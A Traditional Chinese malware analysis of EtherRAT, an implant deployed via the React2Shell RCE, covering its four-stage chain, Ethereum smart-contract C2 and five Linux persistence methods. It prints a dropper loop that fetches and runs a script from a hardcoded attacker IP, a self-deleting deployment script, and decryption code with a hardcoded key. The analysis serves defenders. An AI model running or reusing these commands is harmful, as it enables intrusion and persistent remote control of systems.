摘要

近期針對 React 伺服器元件 (React Server Components, RSCs) 漏洞 (追蹤編號 CVE-2025-55182,亦稱 React2Shell) 的利用,揭示了高階 Threat actor 能力的重大演進。這份報告提供了對 EtherRAT 的詳細技術分析,這是一個透過此漏洞部署的新穎持久性存取植入程式[1]。EtherRAT 與典型的後滲透 Payload 不同,它利用 Ethereum 智慧合約 來實現彈性的命令與控制 (C2) 解析,採用多階段部署鏈,並運用五種不同的 Linux 持久化機制。此分析聚焦於四階段攻擊鏈的技術細節、使用合法基礎設施進行規避,以及去中心化區塊鏈技術在 C2 通訊中的創新應用。觀察到的技術與其他進階的基於 Node.js 的惡意軟體(例如 OtterCookie[2]中看到的模組化架構與反分析檢查)具有共同特徵。

一場始於 React2Shell 的潛伏:EtherRAT 多階段植入與其智慧合約後門實錄 | 資訊安全新聞

1. 簡介

React2Shell 漏洞是 React Flight 通訊協定中的一個不安全的反序列化缺陷,允許未經認證的遠端程式碼執行 (Remote Code Execution, RCE) 透過單一 HTTP Request 實現[3]。在該漏洞被揭露後,迅速被多個團體利用於從加密貨幣挖礦到認證竊取等活動[1]。然而,EtherRAT 的部署標誌著攻擊活動轉向更複雜、長期的間諜活動與持久性存取。

EtherRAT 的架構是一個四階段程序,目的為實現最大的韌性與隱蔽性:初始存取、部署、Dropper,以及最終的植入程式[1]。該植入程式最顯著的特點是使用 Ethereum 區塊鏈來動態解析其 C2 基礎設施,這項技術極大地增加了傳統網路防禦與移除工作的複雜度。

2. 多階段攻擊鏈技術分析

EtherRAT 的部署是一個精心設計的 shell 與 JavaScript 執行序列,旨在受感染的 Linux 系統上建立一個持久的、難以偵測的立足點。

2.1. 階段 0:初始存取與具韌性的 Dropper

攻擊是透過 React2Shell RCE 漏洞執行一個 base64 編碼的 shell 命令來啟動的。該命令解碼後會成為一個高度韌性的 shell 腳本,負責下載下一階段的 Payload。

此 Dropper 的特點在於使用多種下載方法與無限重試迴圈,確保即使在網路組態限制的環境中也能傳遞 Payload[1]。

  1. # Stage 0: Base64 Decoded Shell Dropper
  2. while :; do
  3. # Attempt to download the next stage script (s.sh) using curl, wget, or python3
  4. (curl -sL http://193.24.123.68:3001/gfdsgsdfhfsd_ghsfdgsfdgsdfg.sh -o ./s.sh 2>/dev/null || \
  5. wget -qO ./s.sh http://193.24.123.68:3001/gfdsgsdfhfsd_ghsfdgsfdgsdfg.sh 2>/dev/null || \
  6. python3 -c "import urllib.request as u;open('./s.sh','wb').write(u.urlopen('http://193.24.123.68:3001/gfdsgsdfhfsd_ghsfdgsfdgsdfg.sh').read())") && \
  7. # Check if the downloaded file is non-empty, make it executable, and run it
  8. [ -s ./s.sh ] && chmod +x ./s.sh && ./s.sh && break
  9. # Wait 300 seconds (5 minutes) before retrying if download fails
  10. sleep 300
  11. done

程式碼分析: 使用 curl -sL wget -qO 以及 Python urllib.request 作為備援方案,明確顯示出對最大化相容性與最小化錯誤輸出 ( 2>/dev/null ) 的重點關注,這是進階持續性威脅 (Advanced Persistent Threats, APTs) 的常見策略。 while :; do ... sleep 300 迴圈確保了在面對暫時性網路中斷或 C2 伺服器停機時仍能持續運作。

2.2. 階段 1:部署與基礎設施設定

下載的腳本 ( s.sh ) 負責設定執行環境,特別是下載合法的 Node.js 執行環境,並將加密的 Payload 部署到隱藏的目錄結構中。

  1. # Stage 1: Deobfuscated Deployment Script (s.sh)
  2. #!/bin/bash
  3. # Define hidden directory paths with randomized hex names
  4. D="$HOME/.local/share/.05bf0e9b"
  5. ND="$D/.4dai8ovb"
  6. mkdir -p "$D" 2>/dev/null
  7. # Download Node.js runtime from official source (v20.10.0)
  8. U1="https://nodejs.org/dist/v20.10.0/node-v20.10.0-linux-x64.tar.gz"
  9. U2="https://nodejs.org/dist/v20.10.0/node-v20.10.0-linux-x64.tar.xz"
  10. # Attempt to download and extract the runtime
  11. if curl -sL "$U1" -o "${Z}.tar.gz" || wget -q "$U1" -O "${Z}.tar.gz"; then
  12. tar -xzf "${Z}.tar.gz" -C "$D" || {
  13. # Fallback to .tar.xz format if .tar.gz fails
  14. curl -sL "$U2" -o "${Z}.tar.xz" || wget -q "$U2" -O "${Z}.tar.xz"
  15. tar -xJf "${Z}.tar.xz" -C "$D"
  16. }
  17. fi
  18. # Rename and set executable permission for the downloaded Node.js binary
  19. mv "$D/node-v20.10.0-linux-x64" "$ND"
  20. chmod +x "$ND/bin/node"
  21. # Write encrypted payload (.1d5j6rm2mg2d) and obfuscated JavaScript dropper (.kxnzl4mtez.js)
  22. echo "" | base64 -d > "$D/.1d5j6rm2mg2d"
  23. echo "" | base64 -d > "$D/.kxnzl4mtez.js"
  24. # Execute dropper in background and self-delete the deployment script
  25. nohup "$ND/bin/node" "$D/.kxnzl4mtez.js" >/dev/null 2>&1 &
  26. rm -f "${BASH_SOURCE[0]}"
  27. exit 0

技術意義: 從官方的 nodejs.org 網域下載 Node.js 執行環境是一項關鍵的規避技術。透過使用合法的二進位檔案,植入程式減少了其靜態偵測特徵,並利用了受信任的網路流量,這項方法在其他複雜的 Node.js 惡意軟體中也有觀察到[2]。使用 nohup 並將輸出重新導向至 /dev/null ,確保了程序能在背景中靜默執行,並與終端機 Session 分離。

2.3. 階段 2:解密與執行

經過混淆的 JavaScript dropper ( .kxnzl4mtez.js ) 負責解密主要的 Payload。它使用一個 hardcoded AES-256-CBC key 與 Initialization Vector (IV) 來解密在階段 1 中寫入的二進位資料塊。

  1. // Stage 2: JavaScript Decryption Logic (Simplified)
  2. const kb = "cn7uRzKiMgOZ/dDxuclzgDrGKLQ7HEtEZ1Ld6k6eRsg="; // Base64 Encoded AES Key
  3. const ib = "2iWxmWx4r98fhW9jIpzKXA=="; // Base64 Encoded IV
  4. const key = Buffer.from(kb, "base64");
  5. const iv = Buffer.from(ib, "base64");
  6. function decrypt_payload(encrypted_file_path) {
  7. // Read the encrypted payload file
  8. const encrypted_data = fs.readFileSync(encrypted_file_path);
  9. // Create the AES-256-CBC decipher object
  10. const decipher = crypto.createDecipheriv("aes-256-cbc", key, iv);
  11. // Decrypt the data
  12. let decrypted = decipher.update(encrypted_data);
  13. decrypted = Buffer.concat([decrypted, decipher.final()]);
  14. return decrypted;
  15. }
  16. // ... execution of decrypted payload (.7vfgycfd01.js)

這個階段突顯了使用標準加密演算法來保護 Payload。hardcoded 的金鑰材料是 Threat actor 潛在的失敗點,因為一旦被發現,就能立即解密並分析最終的植入程式。

2.4. 階段 3:EtherRAT 植入程式與區塊鏈 C2

最終的 EtherRAT 植入程式是一個持久的後門程式,它利用了一個創新的 C2 機制: Ethereum 智慧合約 [1]。這項技術與 EtherHiding 方法[4]在概念上有相似之處,提供了一個高度韌性且去中心化的 C2 通道。

2.4.1. 去中心化 C2 解析

EtherRAT 並非連線到傳統的 IP 位址或網域名稱,而是監控一個特定的、預先部署的 Ethereum 智慧合約。合約的儲存空間被用來存放當前的 C2 伺服器位址(例如,傳統的 IP:Port 或網域)。

植入程式執行以下步驟來擷取命令: 1. 監控合約: 植入程式定期查詢 Ethereum 網路(透過公共 RPC 端點或專屬閘道)以讀取特定智慧合約位址的儲存空間。 2. 擷取 C2: 它讀取一個指定的儲存槽(例如,一個公共變數或 Mapping entry),其中包含當前的 C2 端點。 3. 建立連線: 一旦取得 C2 端點,植入程式就會建立傳統的 TCP/TLS 連線來接收命令並外洩資料。

這種架構對攻擊者非常有利: * 抗移除性: C2 位址儲存在不可變的 Ethereum 區塊鏈上。執法機關或安全研究人員無法簡單地查封網域或引導 IP 位址;他們需要取得合約擁有者金鑰的控制權(如果合約是可升級的),或是等待攻擊者更新位址。 * 動態 C2: 攻擊者可以透過向智慧合約發送交易來更改 C2 位址,有效地輪換他們的基礎設施,而無需修改植入程式二進位檔案本身。

2.4.2. 持久化機制

EtherRAT 植入程式實作了五種不同的 Linux 持久化機制,展示了「Belt-and-Suspenders」的雙重保險方法來維持存取[1]。這些包括:

機制 位置 描述
Cron Job /etc/cron.d/ 或使用者 crontab 按固定間隔排程執行植入程式。
Systemd Service /etc/systemd/system/ 建立新的服務單元檔案,以在開機時執行植入程式。
Startup Script /etc/rc.local 或類似檔案 將執行命令插入系統啟動檔案中。
LD_PRELOAD Hijacking /etc/ld.so.preload 一種更進階的技術,在任何其他函式庫之前載入惡意共享函式庫,可能會 hook 系統呼叫。
SSH Authorized Keys ~/.ssh/authorized_keys 安裝攻擊者控制的公開金鑰以進行遠端存取。

2.5. 攻擊鏈視覺化

EtherRAT 部署的整體流程,從初始 RCE 到最終的 C2 通訊,可以使用下圖進行視覺化:

graph TD A["React2Shell Exploit
(CVE-2025-55182)"] --> B{Stage 0:
Base64 Shell Dropper}; B --> C["Download s.sh
(curl/wget/python3
fallback)"]; C --> D{"Stage 1:
Deployment Script
(s.sh)"}; D --> E[Download
Legitimate Node.js
Runtime]; D --> F[Write
Encrypted Payload
&
JS Dropper]; F --> G{"Stage 2:
JS Dropper
(.kxnzl4mtez.js)"}; G --> H[AES-256-CBC Decryption]; H --> I["Write Main Implant
(.7vfgycfd01.js)"]; I --> J{Stage 3:
EtherRAT Implant}; J --> K[5x Linux Persistence
Mechanisms]; J --> L[C2 Resolution
via Ethereum
Smart Contract]; L --> M[Fetch Commands
from Blockchain]; M --> N[Execute Commands
& Exfiltrate Data];

3. 與相關 Node.js 惡意軟體的比較

在 EtherRAT 中觀察到的技術,特別是使用 Node.js 和多階段部署,與針對 JavaScript 生態系統的其他進階惡意軟體所觀察到的趨勢一致。將載入器、Dropper 和最終 Payload 分離的模組化架構,是現代供應鏈攻擊的典型特徵。

例如,同樣針對 Node.js 生態系統的 OtterCookie 惡意軟體,也採用了類似的多階段方法,透過一個中繼伺服器(通常託管在 Vercel 等合法平台上)來傳遞其最終 Payload[2]。此外,OtterCookie 在建立其 C2 通道之前,會進行反分析檢查,例如虛擬機器 (Virtual Machine, VM) 偵測。雖然在提供的階段中 EtherRAT 沒有明確顯示 VM 檢查,但其使用合法的 Node.js 執行環境與去中心化 C2 的做法,顯示出同樣著重於規避與操作安全。

4. 結論

EtherRAT 代表了持久性存取惡意軟體的重大進展,它結合了關鍵 RCE 漏洞 (React2Shell) 的初始存取途徑與基於區塊鏈的 C2 機制所帶來的操作韌性。該植入程式的多階段部署、對合法基礎設施 (nodejs.org) 的依賴,以及在 Linux 系統上激進的持久化策略,都展現了高度的複雜性。使用 Ethereum 智慧合約進行 C2 解析是一項關鍵的創新,安全團隊必須正視,因為它使得傳統基於網路的 C2 阻擋無效。未來的防禦策略必須聚焦於端點偵測與回應 (Endpoint Detection and Response, EDR),以識別合法二進位檔案(如 Node.js)的異常執行,以及與五種持久化機制相關的系統層級變更。